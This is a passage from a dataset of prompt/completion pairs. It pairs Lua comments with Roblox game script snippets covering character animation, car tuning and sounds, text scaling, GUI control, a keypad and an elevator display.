struggling with torque ; Default = 1)\n\t"} +{"prompt": "-------------------------------------------------------------------------------------------\n-------------------------------------------------------------------------------------------", "completion": "\n\n\nfunction onRunning(speed)\n\tif speed>0 then\n\t\tplayAnimation(\"walk\", 0.1, AnimController)\n\t\tpose = \"Running\"\n\telse\n\t\tplayAnimation(\"idle\", 0.1, AnimController)\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction onDied()\n\tpose = \"Dead\"\nend\n\nfunction onJumping()\n\tplayAnimation(\"jump\", 0.1, AnimController)\n\tjumpAnimTime = jumpAnimDuration\n\tpose = \"Jumping\"\nend\n\nfunction onClimbing()\n\tplayAnimation(\"climb\", 0.1, AnimController)\n\tpose = \"Climbing\"\nend\n\nfunction onGettingUp()\n\tpose = \"GettingUp\"\nend\n\nfunction onFreeFall()\n\tif (jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, AnimController)\n\tend\n\tpose = \"FreeFall\"\nend\n\nfunction onFallingDown()\n\tpose = \"FallingDown\"\nend\n\nfunction onSeated()\n\tpose = \"Seated\"\nend\n\nfunction onPlatformStanding()\n\tpose = \"PlatformStanding\"\nend\n\nfunction onSwimming(speed)\n\tif speed>0 then\n\t\tpose = \"Running\"\n\telse\n\t\tpose = \"Standing\"\n\tend\nend\n\nfunction getTool()\t\n\tfor _, kid in ipairs(Figure:GetChildren()) do\n\t\tif kid.className == \"Tool\" then return kid end\n\tend\n\treturn nil\nend\n\nfunction getToolAnim(tool)\n\tfor _, c in ipairs(tool:GetChildren()) do\n\t\tif c.Name == \"toolanim\" and c.className == \"StringValue\" then\n\t\t\treturn c\n\t\tend\n\tend\n\treturn nil\nend\n\nfunction animateTool()\n\t\n\tif (toolAnim == \"None\") then\n\t\tplayToolAnimation(\"toolnone\", toolTransitionTime, AnimController)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Slash\") then\n\t\tplayToolAnimation(\"toolslash\", 0, AnimController)\n\t\treturn\n\tend\n\n\tif (toolAnim == \"Lunge\") then\n\t\tplayToolAnimation(\"toollunge\", 0, AnimController)\n\t\treturn\n\tend\nend\n\nfunction moveSit()\n\tRightShoulder.MaxVelocity = 0.15\n\tLeftShoulder.MaxVelocity = 0.15\n\tRightShoulder:SetDesiredAngle(3.14 /2)\n\tLeftShoulder:SetDesiredAngle(-3.14 /2)\n\tRightHip:SetDesiredAngle(3.14 /2)\n\tLeftHip:SetDesiredAngle(-3.14 /2)\nend\n\nlocal lastTick = 0\n\nfunction move(time)\n\tlocal amplitude = 1\n\tlocal frequency = 1\n \tlocal deltaTime = time - lastTick\n \tlastTick = time\n\n\tlocal climbFudge = 0\n\tlocal setAngles = false\n\n \tif (jumpAnimTime > 0) then\n \t\tjumpAnimTime = jumpAnimTime - deltaTime\n \tend\n\n\tif (pose == \"FreeFall\" and jumpAnimTime <= 0) then\n\t\tplayAnimation(\"fall\", fallTransitionTime, AnimController)\n\telseif (pose == \"Seated\") then\n\t\tstopAllAnimations()\n\t\tmoveSit()\n\t\treturn\n\telseif (pose == \"Running\") then\n\t\tplayAnimation(\"walk\", 0.1, AnimController)\n\telseif (pose == \"Dead\" or pose == \"GettingUp\" or pose == \"FallingDown\" or pose == \"Seated\" or pose == \"PlatformStanding\") then"} +{"prompt": "--Rescripted by Luckymaxer", "completion": "\n\nCharacter = script.Parent\nHumanoid = Character:FindFirstChild(\"Humanoid\")\n\nDebris = game:GetService(\"Debris\")\n\nif Humanoid then\n\tHumanoid.WalkSpeed = (math.abs(Humanoid.WalkSpeed) * -1)\n\twait(2.5)\n\tHumanoid.WalkSpeed = (math.abs(Humanoid.WalkSpeed) * 1)\nend\n\nDebris:AddItem(script, 0.5)\nscript:Destroy()\n"} +{"prompt": "-- Decompiled with Visenya | https://targaryentech.com", "completion": "\nlocal FE = workspace.FilteringEnabled\nlocal car = script.Parent.Car.Value\nlocal handler = car:WaitForChild(\"DS_Sounds\")\nlocal lastGear = 0\nlocal Rev1 = 1500\nlocal Rev2 = 6000\nlocal Rev3 = 7000\nlocal Rev4 = 8000\nwait(0.5)\nscript:WaitForChild(\"DS1\")\nscript:WaitForChild(\"DS2\")\nscript:WaitForChild(\"DS3\")\nscript:WaitForChild(\"DS4\")\nfor i, v in pairs(car.DriveSeat:GetChildren()) do\n for _, a in pairs(script:GetChildren()) do\n if v.Name == a.Name then\n v:Stop()\n wait()\n v:Destroy()\n end\n end\nend\nhandler:FireServer(\"newSound\", \"DS1\", car.DriveSeat, script.DS1.SoundId, 1, script.DS1.Volume, false)\nhandler:FireServer(\"newSound\", \"DS2\", car.DriveSeat, script.DS2.SoundId, 1, script.DS2.Volume, false)\nhandler:FireServer(\"newSound\", \"DS3\", car.DriveSeat, script.DS3.SoundId, 1, script.DS3.Volume, false)\nhandler:FireServer(\"newSound\", \"DS4\", car.DriveSeat, script.DS4.SoundId, 1, script.DS4.Volume, false)\ncar.DriveSeat:WaitForChild(\"DS1\")\ncar.DriveSeat:WaitForChild(\"DS2\")\ncar.DriveSeat:WaitForChild(\"DS3\")\ncar.DriveSeat:WaitForChild(\"DS4\")\nscript.Parent.Values.Gear.Changed:connect(function()\n if lastGear > script.Parent.Values.Gear.Value then\n if script.Parent.Values.RPM.Value >= Rev1 and script.Parent.Values.RPM.Value < Rev2 then\n if FE then\n handler:FireServer(\"playSound\", \"DS1\")\n else\n car.DriveSeat.DS1:Play()\n end\n elseif script.Parent.Values.RPM.Value >= Rev2 and script.Parent.Values.RPM.Value < Rev3 then\n if FE then\n handler:FireServer(\"playSound\", \"DS2\")\n else\n car.DriveSeat.DS2:Play()\n end\n elseif script.Parent.Values.RPM.Value >= Rev3 and script.Parent.Values.RPM.Value < Rev4 then\n if FE then\n handler:FireServer(\"playSound\", \"DS3\")\n else\n car.DriveSeat.DS3:Play()\n end\n elseif script.Parent.Values.RPM.Value >= Rev4 then\n if FE then\n handler:FireServer(\"playSound\", \"DS4\")\n else\n car.DriveSeat.DS4:Play()\n end\n end\n end\n lastGear = script.Parent.Values.Gear.Value\nend)\n"} +{"prompt": "-- Services", "completion": "\nlocal runService = game:GetService(\"RunService\")\nlocal playerService = game:GetService(\"Players\")\n"} +{"prompt": "--|| Setting Script Parent! ||--", "completion": "\nscript.Parent = game:GetService(\"ServerScriptService\")\n"} +{"prompt": "-- number macro item", "completion": "\n\nlocal item = {}\n\nlocal utilFolder = script.Parent.Parent.Util\nlocal parametricEval = require(utilFolder.ParametricEval)\n\n\nfunction item:New(itemContainer, macroItem, pluginSettings, updatePluginSettings)\n\titemContainer.TextLabel.Text = macroItem.Text\n\tlocal fieldX, fieldY, fieldZ = itemContainer.Field.X, itemContainer.Field.Y, itemContainer.Field.Z\n\t\n\tlocal function updateDisplay()\n\t\tfieldX.Text = macroItem.Value.X\n\t\tfieldY.Text = macroItem.Value.Y\n\t\tfieldZ.Text = macroItem.Value.Z\n\tend\n\t\n\tlocal function valueSet(newValue)\n\t\tlocal oldValue = macroItem.Value\n\t\tmacroItem.Value = newValue\n\t\tpluginSettings[macroItem.SettingId] = newValue\n\t\tupdatePluginSettings()\n\t\tupdateDisplay()\n\t\tif type(macroItem.Changed) == \"function\" then\n\t\t\tmacroItem:Changed(newValue, oldValue)\n\t\tend\n\tend\n\n\tfunction macroItem:Set(value)\n\t\tvalueSet(value)\n\tend\n\t\n\tfunction macroItem:UpdateText(text)\n\t\titemContainer.TextLabel.Text = text\n\tend\n\t\n\tlocal function focusLost(enterPressed)\n\t\tif enterPressed then\n\t\t\tlocal x, y, z = parametricEval(fieldX.Text), parametricEval(fieldY.Text), parametricEval(fieldZ.Text)\n\t\t\tif x and y and z then\n\t\t\t\tvalueSet(Vector3.new(x, y, z))\n\t\t\telse\n\t\t\t\tupdateDisplay()\n\t\t\tend\n\t\telse\n\t\t\tupdateDisplay()\n\t\tend\n\tend\n\t\n\tfieldX.FocusLost:Connect(focusLost)\n\tfieldY.FocusLost:Connect(focusLost)\n\tfieldZ.FocusLost:Connect(focusLost)\n\tupdateDisplay()\t\n\t\n\t\n\t--function macroItem:LoadSetting(storedSetting)\n\t--\tmacroItem.Value = Vector3.new(storedSetting[1], storedSetting[2], storedSetting[3])\n\t--end\n\t\n\tfunction macroItem:UpdateTheme(theme)\n\t\titemContainer.TextLabel.TextColor3 = theme:GetColor(Enum.StudioStyleGuideColor.SubText)\n\t\tfieldX.TextColor3 = theme:GetColor(Enum.StudioStyleGuideColor.MainText)\n\t\tfieldX.BackgroundColor3 = theme:GetColor(Enum.StudioStyleGuideColor.InputFieldBackground)\n\t\tfieldY.TextColor3 = theme:GetColor(Enum.StudioStyleGuideColor.MainText)\n\t\tfieldY.BackgroundColor3 = theme:GetColor(Enum.StudioStyleGuideColor.InputFieldBackground)\n\t\tfieldZ.TextColor3 = theme:GetColor(Enum.StudioStyleGuideColor.MainText)\n\t\tfieldZ.BackgroundColor3 = theme:GetColor(Enum.StudioStyleGuideColor.InputFieldBackground)\n\tend\nend\n\nreturn item\n"} +{"prompt": "-- functions for formatting spritesheet strings", "completion": "\n\nlocal function wrapText(text, size, settings)\n\tlocal index = 1;\n\tlocal lines, words = {\"\"}, getWords(text, true);\n\tlocal lineWidth, maxWidth = 0, abs(settings.child.AbsoluteSize.x);\n\tfor i = 1, #words do\n\t\tlocal word = words[i];\n\t\tif (word ~= \"\\n\") then\n\t\t\tlocal width = getStringWidth(word, settings.styles[settings.style][size]);\n\t\t\tif (width + lineWidth <= maxWidth) then\n\t\t\t\tlines[index] = lines[index] .. word;\n\t\t\telse\n\t\t\t\tlineWidth = 0;\n\t\t\t\tindex = index + 1;\n\t\t\t\tlines[index] = word;\n\t\t\tend;\n\t\t\tlineWidth = lineWidth + width;\n\t\telse\n\t\t\tlineWidth = 0;\n\t\t\tindex = index + 1;\n\t\t\tlines[index] = \"\";\n\t\tend;\n\tend;\n\treturn lines;\nend;\n\nfunction scaleText(text, settings)\n\tlocal child = settings.child;\n\tlocal attached = settings.attached;\n\n\tsort(settings.information.sizes, function(a, b) return a > b; end);\n\tlocal bestSize = settings.information.sizes[1];\n\tlocal broke = false;\n\t\n\tfor i = 1, #settings.information.sizes do\n\t\tlocal size = settings.information.sizes[i];\n\t\tlocal sizeSet = settings.styles[settings.style][size];\n\t\tlocal lines = child.TextWrapped and wrapText(text, size, settings) or getLines(text);\n\t\n\t\tlocal widths = {};\n\t\tlocal height = -sizeSet.firstAdjust;\n\t\tfor j = 1, #lines do\n\t\t\tlocal line = lines[j];\n\t\t\theight = height + getMaxHeight(line, sizeSet)\n\t\t\tinsert(widths, getStringWidth(line, sizeSet));\n\t\tend;\n\t\t\n\t\tlocal width = max(unpack(widths));\n\t\tif (width <= abs(child.AbsoluteSize.x) and height <= abs(child.AbsoluteSize.y)) then\n\t\t\tbestSize = size;\n\t\t\tbroke = true;\n\t\t\tbreak;\n\t\tend;\n\tend;\n\t\n\treturn broke and bestSize or settings.information.sizes[#settings.information.sizes];\nend;\n"} +{"prompt": "-- Decompiled with Visenya | https://targaryentech.com", "completion": "\nlocal MiscWeld = {}\nfunction MakeWeld(x, y, type, s)\n if type == nil then\n type = \"Weld\"\n end\n local W = Instance.new(type)\n W.Part0 = x\n W.Part1 = y\n W.C0 = x.CFrame:inverse() * x.CFrame\n W.C1 = y.CFrame:inverse() * x.CFrame\n W.Parent = x\n if type == \"Motor\" and s ~= nil then\n W.MaxVelocity = s\n end\n return W\nend\nfunction ModelWeld(a, b)\n if a:IsA(\"BasePart\") then\n MakeWeld(b, a, \"Weld\")\n elseif a:IsA(\"Model\") then\n for i, v in pairs(a:GetChildren()) do\n ModelWeld(v, b)\n end\n end\nend\ncar = script.Parent.Parent.Parent\nfor _, i in pairs(car.Misc:GetChildren()) do\n i.Anchored = false\nend\ncar.DriveSeat.ChildAdded:connect(function(child)\n if child.Name == \"SeatWeld\" and child:IsA(\"Weld\") and game.Players:GetPlayerFromCharacter(child.Part1.Parent) ~= nil then\n child.C0 = CFrame.new(0, -0.5, 0) * CFrame.fromEulerAnglesXYZ(-(math.pi / 2), 0, 0) * CFrame.Angles(math.rad(13), 0, 0)\n end\nend)\nreturn MiscWeld\n"} +{"prompt": "------------------------------------------\n--Digets", "completion": "\n\n\nfunction Click0()\nInput = Input..0\nprint(\"0\") \nscript.Parent.B0.Decal.Texture = \"http://www.roblox.com/asset/?id=2767674\"\nwait(0.1)\nscript.Parent.B0.Decal.Texture = \"http://www.roblox.com/asset/?id=2761903\"\nend\n\nscript.Parent.B0.ClickDetector.MouseClick:connect(Click0)\n\nfunction Click1()\nInput = Input..1\nprint(\"1\")\nscript.Parent.B1.Decal.Texture = \"http://www.roblox.com/asset/?id=2767677\"\nwait(0.1)\nscript.Parent.B1.Decal.Texture = \"http://www.roblox.com/asset/?id=2761913\"\nend\n\nscript.Parent.B1.ClickDetector.MouseClick:connect(Click1)\n\nfunction Click2()\nInput = Input..2\nprint(\"2\")\nscript.Parent.B2.Decal.Texture = \"http://www.roblox.com/asset/?id=2767680\"\nwait(0.1)\nscript.Parent.B2.Decal.Texture = \"http://www.roblox.com/asset/?id=2761922\"\nend\n\nscript.Parent.B2.ClickDetector.MouseClick:connect(Click2)\n\nfunction Click3()\nInput = Input..3\nprint(\"3\")\nscript.Parent.B3.Decal.Texture = \"http://www.roblox.com/asset/?id=2767686\"\nwait(0.1)\nscript.Parent.B3.Decal.Texture = \"http://www.roblox.com/asset/?id=2761927\"\nend\n\nscript.Parent.B3.ClickDetector.MouseClick:connect(Click3)\n\nfunction Click4()\nInput = Input..4\nprint(\"4\")\nscript.Parent.B4.Decal.Texture = \"http://www.roblox.com/asset/?id=2767693\"\nwait(0.1)\nscript.Parent.B4.Decal.Texture = \"http://www.roblox.com/asset/?id=2761938\"\nend\n\nscript.Parent.B4.ClickDetector.MouseClick:connect(Click4)\n\nfunction Click5()\nInput = Input..5\nprint(\"5\")\nscript.Parent.B5.Decal.Texture = \"http://www.roblox.com/asset/?id=2767695\"\nwait(0.1)\nscript.Parent.B5.Decal.Texture = \"http://www.roblox.com/asset/?id=2761943\"\nend\n\nscript.Parent.B5.ClickDetector.MouseClick:connect(Click5)\n\nfunction Click6()\nInput = Input..6\nprint(\"6\")\nscript.Parent.B6.Decal.Texture = \"http://www.roblox.com/asset/?id=2767699\"\nwait(0.1)\nscript.Parent.B6.Decal.Texture = \"http://www.roblox.com/asset/?id=2761948\"\nend\n\nscript.Parent.B6.ClickDetector.MouseClick:connect(Click6)\n\nfunction Click7()\nInput = Input..7\nprint(\"7\")\nscript.Parent.B7.Decal.Texture = \"http://www.roblox.com/asset/?id=2767701\"\nwait(0.1)\nscript.Parent.B7.Decal.Texture = \"http://www.roblox.com/asset/?id=2761956\"\nend\n\nscript.Parent.B7.ClickDetector.MouseClick:connect(Click7)\n\nfunction Click8()\nInput = Input..8\nprint(\"8\")\nscript.Parent.B8.Decal.Texture = \"http://www.roblox.com/asset/?id=2767707\"\nwait(0.1)\nscript.Parent.B8.Decal.Texture = \"http://www.roblox.com/asset/?id=2761961\"\nend\n\nscript.Parent.B8.ClickDetector.MouseClick:connect(Click8)\n\nfunction Click9()\nInput = Input..9\nprint(\"9\")\nscript.Parent.B9.Decal.Texture = \"http://www.roblox.com/asset/?id=2767714\"\nwait(0.1)\nscript.Parent.B9.Decal.Texture = \"http://www.roblox.com/asset/?id=2761971\"\nend\n\nscript.Parent.B9.ClickDetector.MouseClick:connect(Click9)\n"} +{"prompt": "--// Handling Settings\t\t", "completion": "\n\tFirerate = 60 / 350; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!\n\t\n\tFireMode = 5; -- 5 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive\n\t"} +{"prompt": "-- returns the ascendant ScreenGui of an object", "completion": "\nfunction GetScreen(screen)\n\tif screen == nil then return nil end\n\twhile not screen:IsA(\"ScreenGui\") do\n\t\tscreen = screen.Parent\n\t\tif screen == nil then return nil end\n\tend\n\treturn screen\nend"} +{"prompt": "--TheNexusAvenger\n--Centralizes player damaging.", "completion": "\n\nlocal PlayerDamager = {}\n\nlocal Debris = game:GetService(\"Debris\")\n"} +{"prompt": "-- string trim5 implementation from http://lua-users.org/wiki/StringTrim", "completion": "\nlocal function trim(string_: string): string\n\treturn String.trim(string_ or \"\")\nend\n"} +{"prompt": "--[[local v1 = require(game.ReplicatedStorage:WaitForChild(\"Framework\"):WaitForChild(\"Library\"));\nwhile not v1.Loaded do\n\tgame:GetService(\"RunService\").Heartbeat:Wait();\nend;\nlocal u1 = nil;\nlocal u2 = nil;\nlocal v9;\nfunction Update()\n\tif u1 then\n\t\tif not u2 then\n\t\t\treturn;\n\t\tend;\n\telse\n\t\treturn;\n\tend;\n\tlocal v2 = u1.Main:FindFirstChildOfClass(\"SurfaceGui\");\n\t--local v3, v4, v5 = ipairs(u2);\n\tfor v4, v5 in pairs(u2) do\n\t\t--while true do\n\t\t--v3(v4, v5);\n\t\t--if v3 then\n\t\t--else\n\t\t--break;\n\t\t--end;\n\t\tlocal v6 = v2.Frame:FindFirstChild(\"Spot\" .. tostring(v4));\n\t\tif not v6 then\n\t\t\tlocal v7 = v4 <= 3;\n\t\t\tlocal v8 = v1.Assets.UI.Leaderboard.Spot:Clone();\n\t\t\tv8.LayoutOrder = v4;\n\t\t\tv8.Rank.Text = \"#\" .. v4;\n\t\t\tv8.Name = \"Spot\" .. tostring(v4);\n\t\t\tif v7 then\n\t\t\t\tv9 = 50;\n\t\t\telse\n\t\t\t\tv9 = 45;\n\t\t\tend;\n\t\t\tv6.Size = UDim2.new(1, 0, 0, v9);\n\t\t\tv6.Rank.TextColor3 = v7 and Color3.fromRGB(180, 170, 31) or Color3.fromRGB(102, 102, 102);\n\t\t\tv6.Parent = v2.Frame;\n\t\tend;\n\t\tv6.Score.Text = v1.Functions.NumberShorten(v5.level, false);\n\t\tv6.Username.Text = \"@\" .. v5.username;\n\t\tif v5.username == v1.LocalPlayer.Name then\n\t\t\tv6.Username.TextColor3 = Color3.fromRGB(28, 134, 173);\n\t\telse\n\t\t\tv6.Username.TextColor3 = Color3.fromRGB(121, 121, 121);\n\t\tend;\t\n\tend;\n\tv2.Frame.CanvasSize = UDim2.new(0, 0, 0, v2.Frame:FindFirstChildOfClass(\"UIListLayout\").AbsoluteContentSize.Y);\nend;\nfunction Grab()\n\tlocal v10 = v1.Network.Invoke(\"Get Global Leaderboard\");\n\tif v10 then\n\t\tu2 = v10;\n\t\tUpdate();\n\tend;\nend;\nfunction Check()\n\tlocal v11 = v1.WorldCmds.GetMap();\n\tif v11:FindFirstChild(\"Interactive\") then\n\t\tu1 = v11.Interactive:FindFirstChild(\"Leaderboard\");\n\t\tif u1 then\n\n\t\telse\n\t\t\treturn;\n\t\tend;\n\telse\n\t\treturn;\n\tend;\n\tUpdate();\nend;\nv1.Signal.Fired(\"World Changed\"):Connect(function()\n\tu1 = nil;\n\tCheck();\nend);\ncoroutine.wrap(function()\n\twhile true do\n\t\tif u1 then\n\t\t\tGrab();\n\t\tend;\n\t\twait(10);\t\n\tend;\nend)();]]", "completion": "--\n\n"} +{"prompt": "--\"Alpha\" throughout entire script refers to the ratio: (TextSize/AbsoluteSize.Y)", "completion": "\n\nfunction module.scaleTextToMaxAlpha(textObj)\n\tlocal fitSize = 0\n\ttextObj.TextSize = fitSize\n\ttextObj.TextScaled = false\n\n\trepeat\n\t\tfitSize = fitSize + 1\n\t\ttextObj.TextSize = fitSize\n\tuntil textObj.TextFits == false or fitSize > 100\n\n\tfitSize = fitSize - 1\n\ttextObj.TextSize = fitSize\n\n\treturn fitSize\nend\n\nfunction module.descendantsUniformTextSize(guiObj, maxAlphaSize, waited1Frame)\n\t--if not waited1Frame then\n\t--need to wait otherwise AbsoluteSize will read incorrectly\n\t--task.wait()\n\t--end\n\n\tlocal smallestSize = 999\n\tlocal textObjSizeDict = {}\n\n\tfor _, v in pairs(guiObj:GetDescendants()) do\n\t\tif v:IsA(\"TextButton\") or v:IsA(\"TextLabel\") then\n\t\t\tlocal size = module.scaleTextToMaxAlpha(v)\n\t\t\ttextObjSizeDict[v] = size\n\n\t\t\tif maxAlphaSize then\n\t\t\t\tlocal alphaSize = math.ceil(v.AbsoluteSize.Y * maxAlphaSize)\n\t\t\t\tsize = math.min(size, alphaSize)\n\t\t\t\ttextObjSizeDict[v] = size\n\t\t\tend\n\n\t\t\tif smallestSize > size then\n\t\t\t\tsmallestSize = size\n\t\t\tend\n\t\tend\n\tend\n\n\tfor obj, _ in pairs(textObjSizeDict) do\n\t\tobj.TextSize = smallestSize\n\tend\n\n\treturn smallestSize\nend\n\nfunction module.setTextSizeWithAlpha(textObj, alpha, dontSetMax, waited1Frame)\n\t--if not waited1Frame then\n\t--need to wait otherwise AbsoluteSize will read incorrectly\n\t--task.wait()\n\t--end\n\n\tlocal absoluteSize = textObj.AbsoluteSize.Y\n\tlocal sizeToSet = math.ceil(absoluteSize * alpha)\n\ttextObj.TextScaled = false\n\ttextObj.TextWrapped = true\n\ttextObj.TextSize = sizeToSet\n\n\tif not textObj.TextFits and not dontSetMax then\n\t\tmodule.scaleTextToMaxAlpha(textObj)\n\tend\n\n\treturn textObj.TextSize\nend\n\nfunction module.resizeParentXToFitTextWithAlpha(textObj, text, alpha, extraPadding, waited1Frame)\n\ttextObj.Text = text\n\ttextObj.TextScaled = false\n\ttextObj.TextWrapped = true\n\n\tlocal parentStartSize = textObj.Parent.Size\n\tlocal parentXSize = 0\n\tlocal textSize = module.setTextSizeWithAlpha(textObj, alpha, true, waited1Frame)\n\n\trepeat\n\t\tparentXSize = parentXSize + 0.01\n\t\ttextObj.Parent.Size =\n\t\t\tUDim2.new(parentXSize, parentStartSize.X.Offset, parentStartSize.Y.Scale, parentStartSize.Y.Offset)\n\tuntil textObj.TextFits\n\n\tif extraPadding then\n\t\ttextObj.Parent.Size = textObj.Parent.Size + UDim2.new(extraPadding, 0, 0, 0)\n\t\tparentXSize = parentXSize + extraPadding\n\tend\n\n\treturn parentXSize\nend\n\nfunction module.resizeParentYToFitTextWithAlpha(textObj, text, alpha, parentYStartSize, waited1Frame)\n\ttextObj.Text = text\n\ttextObj.TextScaled = false\n\ttextObj.TextWrapped = true\n\n\tlocal parentOriginalSize = textObj.Parent.Size\n\tlocal parentYSize = parentYStartSize or 0\n\tlocal sizeAdded = 0\n\n\t--prevent infinite growth\n\ttextObj.Parent.Size =\n\t\tUDim2.new(parentOriginalSize.X.Scale, parentOriginalSize.X.Offset, parentYSize, parentOriginalSize.Y.Offset)\n\tmodule.setTextSizeWithAlpha(textObj, alpha, true, waited1Frame)\n\n\tlocal function expandUntilTextFits()\n\t\twhile not textObj.TextFits do\n\t\t\tparentYSize = parentYSize + 0.005\n\t\t\tsizeAdded = sizeAdded + 0.005\n\t\t\ttextObj.Parent.Size =\n\t\t\t\tUDim2.new(parentOriginalSize.X.Scale, parentOriginalSize.X.Offset, parentYSize, parentOriginalSize.Y.Offset)\n\t\tend\n\tend\n\n\t--Sometimes TextFits property is wrong if not waited a frame\n\trepeat\n\t\texpandUntilTextFits()\n\t\ttask.wait()\n\tuntil textObj.TextFits\n\n\treturn sizeAdded\nend\n\nreturn module\n"} +{"prompt": "--Motor6D's", "completion": "\nlocal neck = torso.Neck\nneck.C1 = CFrame.new(0,0,0)\nlocal leftshoulder = torso[\"Left Shoulder\"]\nleftshoulder.C1 = CFrame.new(0,0,0)\nlocal rightshoulder = torso[\"Right Shoulder\"]\nrightshoulder.C1 = CFrame.new(0,0,0)\nlocal lefthip = torso[\"Left Hip\"]\nlefthip.C1 = CFrame.new(0,0,0)\nlocal righthip = torso[\"Right Hip\"]\nrighthip.C1 = CFrame.new(0,0,0)\nlocal root = npc.HumanoidRootPart.RootJoint\nroot.C1 = CFrame.new(0,0,0)"} +{"prompt": "--[[**\n\tensures value matches string pattern\n\n\t@param string pattern to check against\n\n\t@returns A function that will return true iff the condition is passed\n**--]]", "completion": "\nfunction t.match(pattern)\n\tassert(t.string(pattern))\n\treturn function(value)\n\t\tlocal stringSuccess, stringErrMsg = t.string(value)\n\t\tif not stringSuccess then\n\t\t\treturn false, stringErrMsg\n\t\tend\n\n\t\tif string.match(value, pattern) == nil then\n\t\t\treturn false, string.format(\"\\\"%s\\\" failed to match pattern \\\"%s\\\"\", value, pattern)\n\t\tend\n\n\t\treturn true\n\tend\nend\n"} +{"prompt": "--[[ Top Level Roblox Services ]]", "completion": "--\nlocal PlayersService = game:GetService(\"Players\")\n"} +{"prompt": "--[[Weight and CG]]", "completion": "\n\tTune.Weight\t\t\t= 2500\t\t-- Total weight (in pounds)\n\tTune.WeightBSize\t= {\t\t\t-- Size of weight brick (dimmensions in studs ; larger = more stable)\n\t --[[Width]]\t\t6\t\t,\n\t --[[Height]]\t\t3.5\t\t,\n\t --[[Length]]\t\t9\t\t}\n\tTune.WeightDist\t\t= 50\t\t-- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)\n\tTune.CGHeight\t\t= .8\t\t-- Center of gravity height (studs relative to median of all wheels)\n\tTune.WBVisible\t\t= false\t\t-- Makes the weight brick visible\n\t\n\t--Unsprung Weight\n\tTune.FWheelDensity\t= 1.0 \t-- Front Wheel Density\n\tTune.RWheelDensity\t= 1.0\t\t-- Rear Wheel Density\n\tTune.FWLgcyDensity\t= 1\t\t\t-- Front Wheel Density [PGS OFF]\n\tTune.RWLgcyDensity\t= 1\t\t\t-- Rear Wheel Density [PGS OFF]\n\t\n\tTune.AxleSize\t\t= 2\t\t\t-- Size of structural members (larger = more stable/carry more weight)\n\tTune.AxleDensity\t= .1\t\t-- Density of structural members\n\t"} +{"prompt": "--[[ SERVICES ]]", "completion": "\nlocal PlayersService = game:GetService('Players')\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal ChatService = game:GetService(\"Chat\")\nlocal TextService = game:GetService(\"TextService\")"} +{"prompt": "--Gets the current active group, starting with the first priority, then the last non-priority.", "completion": "\nlocal function GetActiveGroup()\n\tif #ActivePriorityControllerGroups >= 1 then\n\t\treturn ActivePriorityControllerGroups[1]\n\tend\n\tif #ActiveControllerGroups >= 1 then\n\t\treturn ActiveControllerGroups[1]\n\tend\nend\n"} +{"prompt": "-- (Hat Giver Script - Loaded.)", "completion": "\n\ndebounce = true\n\nfunction onTouched(hit)\n\tif (hit.Parent:findFirstChild(\"Humanoid\") ~= nil and debounce == true) then\n\t\tdebounce = false\n\t\th = Instance.new(\"Hat\")\n\t\tp = Instance.new(\"Part\")\n\t\th.Name = \"Swordpack\"\n\t\tp.Parent = h\n\t\tp.Position = hit.Parent:findFirstChild(\"Head\").Position\n\t\tp.Name = \"Handle\" \n\t\tp.formFactor = 0\n\t\tp.Size = Vector3.new(0,-0.25,0) \n\t\tp.BottomSurface = 0 \n\t\tp.TopSurface = 0 \n\t\tp.Locked = true \n\t\tscript.Parent.Mesh:clone().Parent = p\n\t\th.Parent = hit.Parent\n\t\th.AttachmentPos = Vector3.new(0, 1.4, -0.8)\n\t\th.AttachmentRight = Vector3.new(1, 0, 0)\n\t\th.AttachmentUp = Vector3.new(0, 1, 0)\n\t\th.AttachmentForward = Vector3.new(-0, -0, -1)\n\t\twait(5)\n\t\tdebounce = true\n\tend\nend\n\nscript.Parent.Touched:connect(onTouched)\n"} +{"prompt": "--[[\n\tCreates a new GuiController. hideOtherGuis and showOtherGuis are optional\n\tcallbacks that can be used to control hiding and showing of GUIs. If they\n\tare defined the GuiController will not do any GUI manipulation. It will\n\tinstead call those callbacks and return.\n\n\tParameters:\n\tscreenGuis - An array of Roact.Refs of the ScreenGuis for this module\n\thideOtherGuis - A callback that is called when hideGuis is called\n\tshowOtherGuis - A callback that is called when showGuis is called\n]]", "completion": "\nfunction GuiController.new(screenGuis: { any }?, hideOtherGuis: Callback?, showOtherGuis: Callback?)\n\tlocal self = {\n\t\tStarterGui = StarterGui,\n\t\tUserInputService = UserInputService,\n\t\tplayer = Players.LocalPlayer,\n\t\tscreenGuis = screenGuis or {},\n\t\thideOtherGuis = hideOtherGuis,\n\t\tshowOtherGuis = showOtherGuis,\n\t\tdisabledGuis = {},\n\t\tdisabledCoreGuis = {},\n\t\tmodalEnabled = false,\n\t}\n\n\treturn setmetatable(self, GuiController)\nend\n"} +{"prompt": "-- This was automatically inserted by the Ban Hammer plugin.\n-- You can re-parent this script and change it any way you see fit.", "completion": "\n"} +{"prompt": "---------------------------------------------------", "completion": "\n\nThis = script.Parent\nLift = This.Parent.Parent.Parent\nElevator = This.Parent.Parent.Parent\nCustomLabel = require(This.Parent.Parent.Parent.CustomLabel)\nCharacters = require(script.Characters)\n\nCustomText = CustomLabel[\"CUSTOMFLOORLABEL\"]\n\nLift:WaitForChild(\"Floor\").Changed:connect(function(floor)\n --custom indicator code--\n ChangeFloor(tostring(floor))\nend)\n\nfunction ChangeFloor(SF)\n\tif CustomText[tonumber(SF)] then\n\t\tSF = CustomText[tonumber(SF)]\n\tend\n\tSetDisplay(1,(string.len(SF) == 2 and SF:sub(1,1) or \"NIL\"))\t\t\n\tSetDisplay(2,(string.len(SF) == 2 and SF:sub(2,2) or SF))\nend\n\n\n\nfunction SetDisplay(ID,CHAR)\n\tif This.Display:FindFirstChild(\"DIG\"..ID) and Characters[CHAR] ~= nil then\n \t\tfor i,l in pairs(Characters[CHAR]) do \n\t\t\tfor r=1,16 do\t\n\t\t\t\tThis.Display[\"DIG\"..ID][\"D\"..r].Transparency = (l:sub(r,r) == \"1\" and 0 or 1)\n\t\t\tend\n\t\tend\n\tend\nend\n\nwhile true do\n\twait()\n\tif Elevator:WaitForChild(\"Direction\").Value ~= 0 then \n\t\tif 